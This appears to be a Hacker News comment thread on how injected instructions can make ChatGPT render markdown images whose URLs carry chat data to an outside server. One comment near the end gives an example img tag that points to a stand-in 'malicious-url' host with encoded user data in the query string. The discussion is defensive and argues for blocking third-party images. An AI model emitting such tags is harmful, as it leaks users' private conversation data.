Comment by danShumway | Hacker News Reader

Comment by danShumway | Hacker News Reader

> I was really surprised to see this work: I had assumed OpenAI would block Markdown images like this from loading content from external servers.

Everyone always is because why on earth wouldn't this be blocked?

That wuzzie has contacted OpenAI about this multiple times and gotten companies like Microsoft to say, "you know what, 3rd-party images are things that nobody allows in most contexts and it shouldn't be enabled in places like Bing chat" and OpenAI in particular seems to have consistently decided that it's a core part of the chat capabilities for some reason -- it's on of the reasons why I say that OpenAI does not take security seriously.

It really should not be a debate whether or not remote images should be blocked from markdown. Your email client blocks remote images. Most forums either block remote images or proxy them. There is no reason at all for ChatGPT to have that the ability to display them.

Every company makes security mistakes, that's not a problem; it's when a company doubles down on security mistakes that their attitude about security becomes apparent.

I use it all the time to embed graphviz diagrams by instructing it to url-encode them and include it in the query string to a rendering endpoint. It spooked me enough that I added proxy layer to verify that it’s not rendering what appears to be a chat or PII.

The world isn’t ready for LLMs unleashed like this. Any plugin could do the same thing, and exfiltrate any part of the chat context with very little instruction engineering to bypass what things guardrails exist on the plugins side.

Thanks for the shout out, the last answer I got from OpenAI in that regards was that they thought it wouldn't be a problem because there will be mitigations. My assumption now is that they thought they could maybe fix indirect prompt injection, but it doesn't look like there is a solution.

My conclusion is that with LLMs, the assumption always needs to be that the LLM might be capable of outputting any content, and the client needs to safely handle whatever is returned.

The leak is not the remote image. The leak is the URL request.

The remote image is the URL request, it gets made when the remote image is fetched by the front-end to render within the LLM's markdown response.

Yes. The remote image is not the leak. The URL request is the leak.

If this is confusing, control the server and have it return an image, or 404 instead of an image, doesn't matter, while logging the request.

You will find the exfiltrated data in the request log, and you will not find an image in the request log.

Of course, if your request handler is an image generator, you can generate an image containing your URL request. But by the time your generator gets the request, the data was leaked.

The URL request is the browser request for the URL placed in the src tag of the image. The exfiltration technique is an image request. What the server returns as a response to that request doesn't matter. It doesn't even need to return anything at all.

If remote images were blocked from markdown as they are in many other applications, the URL request would not be made by the browser. The mitigation is that ChatGPT should refuse to render image tags or make requests for images if given a 3rd-party URL. I'm not sure if we're talking past each other or what, but I'm not talking about whether the server returns an image. I'm saying, ChatGPT will request an image from an external domain as part of rendering markdown during a conversation, and that GET request can be used as an exfiltration method.

The response from the server has nothing to do with it. I'm talking about the fact that ChatGPT will request arbitrary URLs without user input if the URLs are formatted in a markdown block as an image src.

ChatGPT is rendering this:

  <img src="https://malicious-url/?sensitive-user-data-encoded" />

And it should instead when encountering a URL for a 3rd-party domain render this:

  <img src="" />

Reply on news.ycombinator.com